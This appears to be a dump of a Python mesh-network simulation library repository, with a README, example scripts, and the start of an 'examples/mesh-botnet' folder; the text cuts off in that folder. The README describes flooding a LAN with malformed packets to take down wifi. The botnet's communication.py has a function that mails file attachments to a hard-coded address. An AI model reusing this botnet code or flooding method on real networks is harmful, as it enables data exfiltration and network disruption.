├── .github └── FUNDING.yml ├── .gitignore ├── LICENSE ├── README.md ├── examples ├── butteryfly_network.py ├── lan_chat.py ├── large_network.py ├── mesh-botnet │ ├── __init__.py │ ├── __main__.py │ ├── communication.py │ ├── identification.py │ ├── meshbot.py │ ├── network.py │ ├── settings.py │ ├── shell_tools.py │ ├── skype.py │ └── system_info.py └── small_network.py ├── mesh ├── __init__.py ├── filters.py ├── links.py ├── node.py ├── programs.py └── routers.py ├── mesh_networking.egg-info ├── PKG-INFO ├── SOURCES.txt ├── dependency_links.txt └── top_level.txt ├── misc ├── 802.1.py ├── bringitdown.py ├── mesh-visualisation │ ├── .gitignore │ ├── README.md │ ├── package.json │ ├── public │ │ ├── css │ │ │ └── style.css │ │ ├── index.html │ │ └── js │ │ │ ├── d3.v3.js │ │ │ ├── jquery-2.1.1.js │ │ │ ├── script.js │ │ │ └── socket.io.js │ └── server.coffee ├── mesh.swift ├── protocols.py ├── requirements.txt ├── static │ ├── css │ │ └── style.css │ ├── enumhosts.html │ ├── index.html │ ├── js │ │ ├── d3.v3.js │ │ ├── jquery-2.1.1.js │ │ ├── script.js │ │ └── socket.io.js │ └── websocket_test.html ├── tuntap.py ├── tuntap2.py └── visualize.py └── setup.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: pirate 4 | patreon: theSquashSH 5 | custom: https://paypal.me/NicholasSweeting 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | other 2 | *.pyc 3 | __pycache__ 4 | build/ 5 | dist/ 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Nick Sweeting 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Mesh Networking [![PyPI](https://img.shields.io/pypi/v/mesh-networking.svg?style=flat-square)](https://pypi.python.org/pypi/mesh-netwrking/) [![PyPI](https://img.shields.io/pypi/pyversions/mesh-networking.svg?style=flat-square)](https://pypi.python.org/pypi/mesh-networking/) [![Twitter URL](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/thesquashSH) 2 | 3 | --- 4 | 5 | **⚠️ NOTE:** This project is no longer actively maintained, if I come back to it there's a lot of things I'd do better the second time around. 6 | For now I recommend using it for small toy projects and tests only, not in a production situation or as a dependency in a package you release to other people. 7 | 8 | --- 9 | 10 | > The mesh-networking library is to the network what FUSE is to filesystems. 11 | > It lets you simulate network interfaces and programs and direct traffic between them in any topology you like. 12 | 13 | ```bash 14 | apt install libdnet python-dumbnet # or `brew install --with-python libdnet` 15 | pip install mesh-networking 16 | ``` 17 | 18 | This is a library to help you create and test simulated network topologies. It provides 19 | some simple building blocks like "Nodes", "Links", and "Filters" which help you build 20 | simulated networks on a single computer, or real networks across any number of machines. 21 | 22 | It's intended both for mesh network simulations on a local machine, and connecting 23 | programs across networks in real life. In a recent project, we used it as the peer discovery 24 | and communication layer for a [storytelling](https://github.com/cowpig/blockchain) blockchain project. 25 | It works very well with `scapy` for building and testing network protocols or networked apps. 26 | 27 | Scapy helps to build higher level network protocols, but it provides no utilities for simulating 28 | different lower-level network layouts.* Thats where mesh-networking comes in, you can create 29 | virtual machines with interfaces between them, script them to send and receive, and dynamically 30 | change the shape of the network while nodes are connected. 31 | 32 | This library provides some simple primitives to represent different pieces of the network stack. 33 | Each layer is implemented as a thread with an `in` and `out` queue with some pure functions that 34 | dictate how traffic moves forward. 35 | 36 | A `Node` (a computer) is a network connected device that can run `Programs` and accepts traffic via `Filters` (like iptables) 37 | and `Links` (like network interfaces). 38 | 39 | Using these simple building blocks, you can simulate large network topologies on a single machine, 40 | or connect several machines and link nodes on them using real connections channels like ethernet, wifi, or even IRC. 41 | 42 | You could theoretically use this in production to build a virtual network on top of some physical links, 43 | but it's written in python so I don't recommend using it for anything performance critical. 44 | 45 | An example use case is building a small chat network, where you want nodes to auto-discover each 46 | other on a LAN and be able to chat in a room. 47 | 48 | ```python 49 | from mesh.node import Node 50 | from mesh.link import UDPLink 51 | from mesh.programs import Printer 52 | 53 | lan = UDPLink('en0', 8080) # traffic will be sent using UDP-broadcast packets to all machines on your LAN 54 | 55 | node1 = Node([lan], 'bob', Program=Printer) # programs are just threads with a send() and recv() method 56 | node2 = Node([lan], 'alice', Program=Printer) 57 | 58 | (lan.start(), node1.start(), node2.start()) 59 | 60 | node1.send('hi alice!') 61 | # node2 gets > 'hi alice!'' 62 | # Printer thread on node2 has its recv() method called with "hi alice!" 63 | 64 | # Next steps: try adding an IRCLink to let them communicate ouside the LAN! 65 | ``` 66 | 67 | ## Quickstart Guide 68 | 69 | **Set up a secret chat that auto-discovers all peers on your LAN:** 70 | 71 | ```bash 72 | # install the package and clone the repo, then run several of these in different terminal windows, or on different computers 73 | # they will autodiscover any peers and let you chat over your LAN! 74 | python3 examples/lan_chat.py 75 | ``` 76 | 77 | **Simulate a small network topology with 6 nodes:** 78 | 79 | ```bash 80 | python3 examples/small_network.py 81 | ``` 82 | 83 | **Simulate a larger network with randomized connections between nodes:** 84 | 85 | ```bash 86 | python3 examples/large_network.py 87 | ``` 88 | 89 | To get a feel for the API and capabilities, you can read the source and run some more intricate examples. 90 | Note that all examples require python3 to run, even though the library itself is compatible with python2. 91 | 92 | ```bash 93 | # To run the examples above & install the package from source: 94 | git clone https://github.com/pirate/mesh-networking 95 | cd mesh-networking 96 | python3 setup.py install 97 | ``` 98 | 99 | ![](http://i.imgur.com/Nhqtked.png) 100 | 101 | ## Features 102 | 103 | This project allows you to build networks of nodes in Python, and send traffic between them over various physical layers. 104 | 105 | - Simulate large network topologies by creating `nodes` and connecting them together 106 | - Connect nodes using `links`, which can be virtual (connect only nodes on computer), UDP (connect all nodes within a LAN), or IRC (connect over the internet) 107 | - Apply packet `filters` to traffic coming in and out of nodes (similar to iptables, but also supports stateful filters!) 108 | - Run arbitrary `programs` on nodes, e.g. an echo program, a packet switch, or a webserver even 109 | - `visualize` the network and create/link nodes with a d3.js graph UI (WIP) 110 | 111 | For each of the `highlighted` words you can look in the corresponding file for its code, e.g. `filters.py`. 112 | 113 | ## Goals 114 | 115 | **Q:** Why is this library called `mesh-networking` and not `py-networking` or something like that? 116 | 117 | **A:** The original goal of this project was to build a testing framework in order to work on developing a general mesh-network routing system that is secure, decentralized, and fast. 118 | I since decided to release this library as a general networking utility, and to work on the mesh routing stuff in a separate project. 119 | 120 | ## Mesh Routing Development Progress 121 | 122 | Several components were copied from the OSI networking model, but used in different ways than they are now (IPV6, ARP). Other parts will have to be completely re-written (routing, DNS). 123 | 124 | The first step is to create an abstact representation of nodes in the network that allows us to test our protocol, you will find this in `node.py`, and a controller that can spawn multiple nodes in `multinode.py`. You can link nodes to each other using real or virtual network interfaces. 125 | 126 | The second step is to agree on a common protocol for MESHP, and begin designing the routing algorithm between multiple computers. With a common spec to work off, we wont be limited to working in python. We can write clients in go or C in order to test different subtleties of the namecoin blockchain system and the meshp+mesharp routing systems. 127 | 128 | For now, we use UDP broadcast packets to simulate a raw Ethernet BROADCAST-style connection between two nodes. The UDP header and ethernet frame are stripped on arrival. In the future, I'd like to write a wrapper around [snabbswitch](https://github.com/SnabbCo/snabbswitch) that allows us to directly manipulate network interfaces. 129 | 130 | ### Notes: 131 | 132 | * TUN/TAP tun0 beef:0/10 133 | * create new loopback interfase lo2 IPV6 only, address beef::0 134 | * SOCKS5 > over tun0 135 | * meshpd attached to tun0, when user wants to send a packet to a mesh node, he sends it to the mesh IPV6 addr on tun0, and meshpd will pick it up, read the header, and route it accordingly over real en0, bt0, vlan0, etc. 136 | 137 | * local->tun0:localhost packets to lo2:beef::0 so you can ping yourself 138 | * local->tun0:broadcast packets go out to all mesh nodes in the same zone, and back to lo2 139 | * local->tun0:multicast: packets to individual hosts are routed based on zone mesh routes 140 | 141 | * tun0:broadcast->local: packets go to lo2:beef::0 (which userland programs can bind to, like httpd, ftp, etc.) 142 | * tun0:multicast->local: packets go to lo2:beef::0 143 | * tun0:localhost->local: packets go to lo2:beef::0 144 | 145 | The source and desination address information is stored in the MESHP header, and is read by meshpd whenever they hit tun0. 146 | 147 | > TUN (namely network TUNnel) simulates a network layer device and it operates with layer 3 packets like IP packets. TAP (namely network tap) simulates a link layer device and it operates with layer 2 packets like Ethernet frames. TUN is used with routing, while TAP is used for creating a network bridge. 148 | Packets sent by an operating system via a TUN/TAP device are delivered to a user-space program which attaches itself to the device. A user-space program may also pass packets into a TUN/TAP device. In this case TUN/TAP device delivers (or "injects") these packets to the operating-system network stack thus emulating their reception from an external source. 149 | 150 | 151 | Goals (Zooko's Triangle): 152 | ------------------------- 153 | 154 | 1. Decentralized (No CAs, no SPOF DNS servers) 155 | 2. Human meaningful (provide DNS that securely resolves to our IPV6 mesh eeee:::::::01 address format) 156 | 3. Secure (packets go only to their intended destination) 157 | 158 | Brand new tech: 159 | --------------- 160 | * MESHP (replaces the IP layer, extends a custom baked IPv6 implementation) 161 | * MESHDNS (namecoin style) 162 | * MESHARP (needs major changes to prevent DDoSing the entire mesh when new nodes join) 163 | * MESHTRACEROUTE (shows more detail about the mesh hops taken to get to a host) 164 | 165 | Technologies to reimplement: 166 | ---------------------------- 167 | * IPv6 (we're going to use a custom addressing scheme that follows IPv6 format eeee:::::::01) 168 | * IP tables and routing (by creating virtual networking interfaces that follow our own rules instead of the kernel's) 169 | * ARP 170 | * DNS (namecoin style + public keys, allowing private key auth and certificates for SSL to be baked into dns) 171 | 172 | Technologies we're not reimplementing: 173 | -------------------------------------- 174 | The more existing pieces of the existing internet framework we can use, the easier it'll be to keep the real internet and our meshnet compatible: 175 | 176 | * Ethernet 177 | * TCP 178 | * UDP 179 | * ICMP 180 | 181 | Typical HTTP packet structure using MESHP: 182 | ------------------------------------------ 183 | Our mesh protocol comes in and replaces the IP layer, leaving the other layers intact. The only other manipulation required to get it working is access to the kernel's routing table, allowing us to route traffic in the right direction. 184 | 185 | + Ethernet frame (normal ethernet with MAC addressing) 186 | + MESHP Header (instead of IP header) 187 | + TCP Header (normal TCP) 188 | + HTTP Header (normal HTTP) 189 | + Data 190 | 191 | Issues so far: 192 | -------------- 193 | 194 | Mac OS X does not allow you to read raw frames easily from a network interface. 195 | On linux you can open a raw_socket and read to your heart's content: 196 | 197 | ```python 198 | rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) 199 | data = rawSocket.readto(1024) 200 | ``` 201 | 202 | 203 | On a Mac (or any FreeBSD-based system) this doesn't work because the AF_PACKET socket is not available. 204 | It's possible to sniff packets going by using something like pcap or the BPF/tcpdump, but I don't believe it's possible to intercept them (correct me if I'm wrong here). 205 | 206 | We're forced to specify a port to bind to by python's sockets, but we are able to share a port between multiple processes using `SO_REUSEPORT`, which is very cool. This allows two clients to both receive packets sent to that port. setblocking(0) is for convenience (just beware, you have to do some error handling to check if the socket is ready to read or write). 207 | 208 | ```python 209 | s = socket(AF_INET, SOCK_DGRAM) 210 | s.setsockopt(SOL_SOCKET, SO_REUSEPORT, 1) 211 | s.setblocking(0) 212 | s.bind(('',3003)) 213 | 214 | ready_to_read, ready_to_write, going_to_error_out = select.select([s], [s], [s], 1) # needed for nonblocking sockets 215 | if s in ready_to_read: 216 | data = s.recvfrom(1024) 217 | 218 | ``` 219 | 220 | I've had the best success so far with libdnet (rather than scapy or pypcap). dnet stands for "dumb networking", and that's exactly what it is. It's a stupid-simple api to access raw sockets and network interfaces. `dnet.iface('en1').send('HI')` will literally write "HI" to the network interface (with no ethernet frame, no IP header, to TCP header, just 'hi'). In fact, you can use this to DDoS individual people, or your entire local network. Just run it in a `while True:` loop. The stream of meaningless malformed packets caused the wifi connection at hackerschool to slow to a dead stop within seconds. The full code for this style of attack can be found in `bring_it_down.py`. 221 | 222 | Another issue I recently discovered is that most higher-end routers will cap broadcast UDP transmissions to their lowest possible transmit rate, to prevent flooding the LAN with traffic. This is to encourage devs to use proper multicast so packets can be directed only to interested receiving parties, instead of sending every packet to every LAN receiver. See this [Network Engineering Stack Exchange question] question](http://networkengineering.stackexchange.com/questions/1782/why-does-my-udp-broadcast-wireless-communication-is-capped-at-1mbs/) for more information about broadcast UDP transmit rate capping. 223 | 224 | 225 | Cool Things: 226 | ------------ 227 | As I mentioned above, you can allow multiple processes to connect to the same socket on the same port, and they all recieve a duplicate of every packet sent to that socket. This is a simple socket option, but the implications are great. Now we can have multiple clients listen on the same port, meaning to the clients this is not longer a port, it's simply a broadcast interface. Every client gets every packet. Every client processes every packet, and filters out everything it doesn't care about. 228 | 229 | ``` 230 | datagram_socket = socket(AF_INET, SOCK_DGRAM) 231 | datagram_socket.setsockopt(SOL_SOCKET, SO_REUSEPORT, 1) 232 | ``` 233 | 234 | 235 | Another cool thing is that you can create a virtual, virtual network interface that behaves like a real one in python. The setup below allows us to write and recieve broadcast UDP packets to any interface. In order to simulate our mesh networking protocol (which is at the IP layer, one level below UDP), we are going to simply cut off the IP, and UDP headers of every packet we recieve. Since UDP allows us to do broadcast networking, we can simulate being at the ethernet level on the same hardware link as another computer by pretending we arent getting any help with routing from the system through IP and UDP. We can then tack on our own routing protocol, I'm calling it "MESHP" for lack of a better name. MESHP extends IPv6 and allows for mesh-style adhoc packet routing, but I'll save that for another time. Below is the code for creating hard and virtual interfaces. 236 | 237 | ```python 238 | class HardLink: 239 | name = "en" 240 | readface = None 241 | writeface = None 242 | 243 | def __init__(self, iface="en1"): 244 | self.name = iface 245 | 246 | self.writeface = socket(AF_INET, SOCK_DGRAM) 247 | self.writeface.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 248 | self.writeface.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) 249 | self.writeface.setblocking(0) 250 | 251 | self.readface = socket(AF_INET, SOCK_DGRAM) 252 | self.readface.setsockopt(SOL_SOCKET, SO_REUSEPORT, 1) 253 | self.readface.setblocking(0) 254 | self.readface.bind(('',3003)) 255 | 256 | def send(self, indata): 257 | _1, ready_to_write, _2 = select.select([], [self.writeface], [], 1) # needed for nonblocking sockets 258 | if ready_to_write: 259 | self.writeface.sendto(indata, ('255.255.255.255', 3003)) 260 | else: 261 | print("NETWORK ERROR: WRITE FAILED") # this should never happen unless the interface goes down or you run out of memory to buffer packets 262 | 263 | def recv(self): 264 | ready_to_read, _1, _2 = select.select([self.readface], [], [], 1) # needed for nonblocking sockets 265 | if ready_to_read: 266 | return self.readface.recvfrom(1024) 267 | else: 268 | return "" 269 | 270 | class VirtualLink: 271 | name = "vlan" 272 | data = [] 273 | 274 | def __init__(self, iface="vlan0"): 275 | self.name = iface 276 | 277 | def send(self, indata): 278 | self.data.append(indata) 279 | 280 | def recv(self): 281 | if self.data: 282 | return self.data.pop() 283 | ``` 284 | 285 | Since these two Link types both have the same accessor methods, we can connect our nodes up to real interfaces or fake ones, and see how they behave. Nodes connected to both a real and a virtual can pass packets between the two, acting as a bridge for all the other nodes. 286 | 287 | ```python 288 | red, green, blue, purple = HardLink("en1"), VirtualLink(), VirtualLink(), VirtualLink() 289 | 290 | nodes = [Node([red, green, blue]), 291 | Node([red, green]), 292 | Node([green, blue]), 293 | Node([purple]), 294 | Node([green, purple], 295 | Node([purple, red])) 296 | ] 297 | 298 | for node in nodes: 299 | node.start() 300 | 301 | nodes[0].send("HELLO") 302 | 303 | ``` 304 | 305 | Each node accepts a list of links that it is connected to. All the nodes on one link work like a broadcast ethernet. You can visualize it as a bunch of serves connected to eachother using ethernet cables colored red, green, blue, and purple. Except the red link is actually a real link, allowing you to test your nodes over wifi, bluetooth, or any other hardware interface. Green, blue, and purple allow you to simulate branches of the network on your local computer in order to test topology. The cool part about this is that it allows you to simulate a complex 350 node network using a couple of laptops connected with an ethernet cable or wifi. To view the code for the class Node, check out `node.py`. 306 | 307 | Links: 308 | ------ 309 | 310 | * http://dpk.io/blockchain 311 | * http://www.aaronsw.com/weblog/squarezooko 312 | * http://www.aaronsw.com/weblog/uncensor 313 | * https://squaretriangle.jottit.com/faq 314 | * http://libdnet.sourceforge.net/pydoc/public/frames.html 315 | * https://github.com/SnabbCo/snabbswitch 316 | * https://github.com/ewust 317 | * https://en.wikipedia.org/wiki/IEEE_802.1aq (Shortest-Path-Bridging) 318 | * https://developer.apple.com/reference/multipeerconnectivity (Apple's mesh framework) 319 | * http://www.secdev.org/projects/scapy/ 320 | * http://battlemesh.org/ (Mesh Networking Battle conf) 321 | * https://www.zerotier.com/ ("Mesh" vlan that can scale up to millions of nodes using social routing) 322 | * http://redecentralize.org/interviews/2013/07/30/02-adam-zerotierone.html (quick explanation of zerotier) 323 | -------------------------------------------------------------------------------- /examples/butteryfly_network.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Nick Sweeting 2016/10/08 3 | # Butterfly Network 4 | # 5 | # Simulate a butterfly network where addresses can be used to determine routing paths. 6 | # MIT 6.042J Mathematics for Computer Science: Lecture 9 7 | # https://www.youtube.com/watch?v=bTyxpoi2dmM 8 | 9 | import math 10 | import time 11 | 12 | from mesh.node import Node 13 | from mesh.links import VirtualLink 14 | from mesh.programs import Cache, BaseProgram 15 | 16 | 17 | class ButterflySwitch(BaseProgram): 18 | """A switch that routes a packet coming in on any interface to all the other interfaces.""" 19 | def recv(self, packet, interface): 20 | other_ifaces = set(self.node.interfaces) - {interface} 21 | if packet and other_ifaces: 22 | self.node.log("SWITCH ", (str(interface)+" >>>> <"+','.join(i.name for i in other_ifaces)+">").ljust(30), packet.decode()) 23 | self.node.send(packet, interfaces=other_ifaces) 24 | 25 | 26 | def ask(type, question, fallback=None): 27 | value = input(question) 28 | if type == bool: 29 | if fallback: 30 | return not value[:1].lower() == "n" 31 | else: 32 | return value[:1].lower() == "y" 33 | try: 34 | return type(value) 35 | except Exception: 36 | return fallback 37 | 38 | def print_grid(nodes): 39 | for row in NODES: 40 | output = '' 41 | if row and row[-1].program.received: 42 | output = ' : {}'.format(row[-1].program.received.pop()) 43 | print(' --- '.join(str(n).center(10) for n in row) + output) 44 | 45 | 46 | if __name__ == "__main__": 47 | num_rows = ask(int, "How many input nodes do you want? [8]:", 8) 48 | num_cols = 2 + int(math.log(num_rows)) 49 | 50 | print('Creating Nodes ({}x{})...'.format(num_rows, num_cols)) 51 | 52 | IN_ADDRESSES = ['in:0b{0:b}'.format(a) for a in range(0, num_rows)] 53 | OUT_ADDRESSES = ['out:0b{0:b}'.format(a) for a in range(0, num_rows)] 54 | 55 | NODES = [] 56 | 57 | # make several rows of input nodes to output nodes 58 | for row_idx in range(num_rows): 59 | row = [] 60 | for col_idx in range(num_cols): 61 | # add input node 62 | if col_idx == 0: 63 | addr = IN_ADDRESSES[row_idx] 64 | Program = None 65 | # add output node 66 | elif col_idx == num_cols - 1: 67 | addr = OUT_ADDRESSES[row_idx] 68 | Program = Cache 69 | # out middle node 70 | else: 71 | addr = 'row:{};col{}'.format(row_idx, col_idx) 72 | Program = ButterflySwitch 73 | 74 | row.append(Node(name=addr, mac_addr=addr, Program=Program)) 75 | 76 | NODES.append(row) 77 | 78 | 79 | print('Creating Butterfly Links...') 80 | 81 | # make the first links going directly across each row 82 | for row_idx in range(num_rows): 83 | for col_idx in range(num_cols - 1): 84 | bridge = VirtualLink(name='{}<{}>{}'.format(col_idx, row_idx, col_idx + 1)) 85 | NODES[row_idx][col_idx].interfaces.append(bridge) 86 | 87 | # node directly to the right 88 | NODES[row_idx][col_idx + 1].interfaces.append(bridge) 89 | bridge.start() 90 | 91 | # TODO: finish diagonal linking algorithm 92 | # give each node a second diagonal link, starting from right to left 93 | for col_idx in reversed(range(1, num_cols)): 94 | for row_idx in range(num_rows): 95 | diagonal = VirtualLink(name='{}<{}>{}'.format(col_idx, row_idx, col_idx + 1)) 96 | NODES[row_idx][col_idx].interfaces.append(diagonal) 97 | 98 | # node to the left and (up/down) to a different butterfly set 99 | to_row = 1 100 | NODES[to_row][col_idx - 1].interfaces.append(diagonal) 101 | diagonal.start() 102 | 103 | [n.start() for row in NODES for n in row] 104 | 105 | print_grid(NODES) 106 | 107 | print('Input the number of a node, followed by text to send') 108 | print(' e.g. [$]: 0:hello world!') 109 | dont_exit = True 110 | try: 111 | while dont_exit: 112 | try: 113 | in_id, in_text = str(input("#:text ")).split(':', 1) 114 | except ValueError: 115 | print('Input must be #:text') 116 | continue 117 | in_node = NODES[int(in_id)][0] 118 | in_node.send(bytes(in_text, 'UTF-8')) 119 | time.sleep(0.2) 120 | # import ipdb; ipdb.set_trace() 121 | print_grid(NODES) 122 | except (KeyboardInterrupt, EOFError): 123 | raise SystemExit(0) 124 | -------------------------------------------------------------------------------- /examples/lan_chat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import time 3 | 4 | from mesh.links import UDPLink 5 | from mesh.programs import BaseProgram 6 | from mesh.filters import UniqueFilter 7 | from mesh.node import Node 8 | 9 | 10 | 11 | class ChatProgram(BaseProgram): 12 | def recv(self, packet, interface): 13 | print('\n>> {}'.format(packet.decode())) 14 | 15 | 16 | if __name__ == "__main__": 17 | links = [UDPLink('en0', 2010), UDPLink('en1', 2011), UDPLink('en2', 2012), UDPLink('en3', 2013)] 18 | node = Node(links, 'me', Filters=(UniqueFilter,), Program=ChatProgram) 19 | [link.start() for link in links] 20 | node.start() 21 | 22 | print("Run lan-chat.py on another laptop to talk between the two of you on en0.") 23 | try: 24 | while True: 25 | print("------------------------------") 26 | message = input('<< ') 27 | node.send(bytes(message, 'UTF-8')) 28 | time.sleep(0.3) 29 | 30 | except (EOFError, KeyboardInterrupt): # graceful CTRL-D & CTRL-C 31 | node.stop() 32 | [link.stop() for link in links] 33 | -------------------------------------------------------------------------------- /examples/large_network.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # MIT Liscence : Nick Sweeting 3 | 4 | import traceback 5 | import time 6 | import random 7 | 8 | from mesh.node import Node 9 | from mesh.links import UDPLink, VirtualLink, IRCLink 10 | from mesh.programs import Printer, Switch 11 | from mesh.filters import UniqueFilter 12 | 13 | 14 | def hops(node1, node2): 15 | """returns # of hops it takes to get from node1 to node2, 1 means they're on the same link""" 16 | if node1 == node2: 17 | return 0 18 | elif set(node1.interfaces) & set(node2.interfaces): 19 | # they share a common interface 20 | return 1 21 | else: 22 | # Not implemented yet, graphsearch to find min hops between two nodes 23 | return 0 24 | 25 | def linkmembers(nodes, link): 26 | return [n for n in nodes if link in n.interfaces] 27 | 28 | def eigenvalue(nodes, node=None): 29 | """ 30 | calculate the eigenvalue (number of connections) for a given node in an array of nodes connected by an array of links 31 | if no node is given, return the minimum eigenvalue in the whole network 32 | """ 33 | if node is None: 34 | return sorted([eigenvalue(nodes, n) for n in nodes])[0] # return lowest eigenvalue 35 | else: 36 | return len([1 for n in nodes if hops(node, n)]) 37 | 38 | def even_eigen_randomize(nodes, links, min_eigen=1): 39 | print("Linking %s together randomly." % len(nodes)) 40 | for node in nodes: 41 | while len(node.interfaces) < ((desired_min_eigenvalue - random.randint(0, 3)) or 1): 42 | node.interfaces.append(random.choice(tuple(set(links) - set(node.interfaces)))) 43 | 44 | def ask(type, question, fallback=None): 45 | value = input(question) 46 | if type == bool: 47 | if fallback: 48 | return not value[:1].lower() == "n" 49 | else: 50 | return value[:1].lower() == "y" 51 | try: 52 | return type(value) 53 | except Exception: 54 | return fallback 55 | 56 | 57 | HELP_STR = """Type a nodelabel or linkname to send messages. 58 | e.g. [$]:n35 59 | [n35] ∂5:hi 60 | or 61 | [$]:l5 62 | (3) [n1,n4,n3]:whats up""" 63 | 64 | 65 | if __name__ == "__main__": 66 | # import sys 67 | # import netifaces 68 | # hardware_iface = netifaces.gateways()['default'][2][1] 69 | port = 2016 70 | # if len(sys.argv) > 1: 71 | # hardware_iface = sys.argv[1] 72 | 73 | num_nodes = ask(int, "How many nodes do you want? [30]:", 30) 74 | num_links = ask(int, "How many links do you want? [8]:", 8) 75 | irc_link = ask(bool, "Link to internet? y/[n]:", False) 76 | real_link = ask(bool, "Link to local networks? [y]/n:", True) 77 | randomize = ask(bool, "Randomize connections? [y]/n:", True) 78 | 79 | print('Creating Links...') 80 | links = [] 81 | if real_link: 82 | links += [UDPLink('en0', port), UDPLink('en1', port+1), UDPLink('en2', port+2)] 83 | if irc_link: 84 | links += [IRCLink('irc0')] 85 | links += [ 86 | VirtualLink("vl%s" % (x+1)) 87 | for x in range(num_links) 88 | ] 89 | 90 | print('Creating Nodes...') 91 | nodes = [ 92 | Node(None, "n%s" % x, Filters=[UniqueFilter], Program=random.choice((Printer, Switch))) 93 | for x in range(num_nodes) 94 | ] 95 | 96 | if randomize: 97 | desired_min_eigenvalue = 4 if num_links > 4 else (len(links) - 2) # must be less than the total number of nodes!!! 98 | even_eigen_randomize(nodes, links, desired_min_eigenvalue) 99 | 100 | print("Let there be life.") 101 | [link.start() for link in links] 102 | for node in nodes: 103 | node.start() 104 | print("%s:%s" % (node, node.interfaces)) 105 | 106 | print(HELP_STR) 107 | dont_exit = True 108 | try: 109 | while dont_exit: 110 | command = str(input("[$]:")) 111 | if command[:1] == "l": 112 | # LINK COMMANDS 113 | link = [l for l in links if l.name[1:] == command[1:]] 114 | if link: 115 | link = link[0] 116 | link_members = linkmembers(nodes, link) 117 | message = str(input("%s(%s) %s:" % (link, len(link_members), link_members))) 118 | if message == "stop": 119 | link.stop() 120 | else: 121 | link.send(bytes(message, 'UTF-8')) # convert python str to bytes for sending over the wire 122 | else: 123 | print("Not a link.") 124 | 125 | elif command[:1] == "n": 126 | # NODE COMMANDS 127 | node = [n for n in nodes if n.name[1:] == command[1:]] 128 | if node: 129 | node = node[0] 130 | message = str(input("%s<%s> ∂%s:" % (node, node.interfaces, eigenvalue(nodes, node)))) 131 | if message == "stop": 132 | node.stop() 133 | else: 134 | node.send(bytes(message, 'UTF-8')) # convert python str to bytes for sending over the wire 135 | else: 136 | print("Not a node.") 137 | 138 | elif command[:1] == "h": 139 | print(HELP_STR) 140 | else: 141 | print("Invalid command.") 142 | print(HELP_STR) 143 | 144 | time.sleep(0.5) 145 | except BaseException as e: 146 | intentional = type(e) in (KeyboardInterrupt, EOFError) 147 | if not intentional: 148 | traceback.print_exc() 149 | try: 150 | assert all([n.stop() for n in nodes]), 'Some nodes failed to stop.' 151 | assert all([l.stop() for l in links]), 'Some links failed to stop.' 152 | except Exception as e: 153 | traceback.print_exc() 154 | intentional = False 155 | print("EXITING CLEANLY" if intentional else "EXITING BADLY") 156 | raise SystemExit(int(not intentional)) 157 | -------------------------------------------------------------------------------- /examples/mesh-botnet/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pirate/mesh-networking/7799cf2c86816eaa3a2fa169fae1c3f765bfb7fb/examples/mesh-botnet/__init__.py -------------------------------------------------------------------------------- /examples/mesh-botnet/__main__.py: -------------------------------------------------------------------------------- 1 | from meshbot import setup, runloop 2 | 3 | node, connections = setup() 4 | runloop(node, connections) 5 | -------------------------------------------------------------------------------- /examples/mesh-botnet/communication.py: -------------------------------------------------------------------------------- 1 | import os 2 | from shell_tools import run_cmd 3 | from settings import HOSTNAME, MAIN_USER 4 | 5 | default_from = '%s@%s' % (MAIN_USER, HOSTNAME) 6 | 7 | help_str = """ 8 | sudo mkdir -p /Library/Server/Mail/Data/spool 9 | sudo /usr/sbin/postfix set-permissions 10 | sudo /usr/sbin/postfix start 11 | """ 12 | 13 | def email(to='medusa@sweeting.me', _from=default_from, subject='BOT MSG', message="Info email", attachments=None): 14 | """function to send mail to a specified address with the given attachments""" 15 | for attachment in attachments or []: 16 | filename = attachment.strip() 17 | try: 18 | result = run_cmd('uuencode %s %s | mailx -s "%s" %s' % (filename, filename, subject, to))[0] 19 | return "Sending email From: %s; To: %s; Subject: %s; Attachment: %s (%s)" % (_from, to, subject, filename, result or 'Succeded') 20 | except Exception as error: 21 | return str(error) 22 | 23 | if not attachments: 24 | p = os.popen("/usr/sbin/sendmail -t", "w") 25 | p.write("From: %s\n" % _from) 26 | p.write("To: %s\n" % to) 27 | p.write("Subject: %s\n" % subject) 28 | p.write("\n") # blank line separating headers from body 29 | p.write('%s\n' % message) 30 | result = p.close() 31 | 32 | if not result: 33 | return "Sent email From: %s; To: %s; Subject: %s; Attachments: %s)" % (_from, to, subject, ','.join(attachments or [])) 34 | else: 35 | return "Error: %s. Please fix Postfix:\n %s" % (result, help_str) 36 | -------------------------------------------------------------------------------- /examples/mesh-botnet/identification.py: -------------------------------------------------------------------------------- 1 | from shell_tools import run_cmd 2 | from system_info import ( 3 | get_platform, 4 | get_current_user, 5 | get_main_user, 6 | get_full_username, 7 | get_local_ips, 8 | get_public_ip, 9 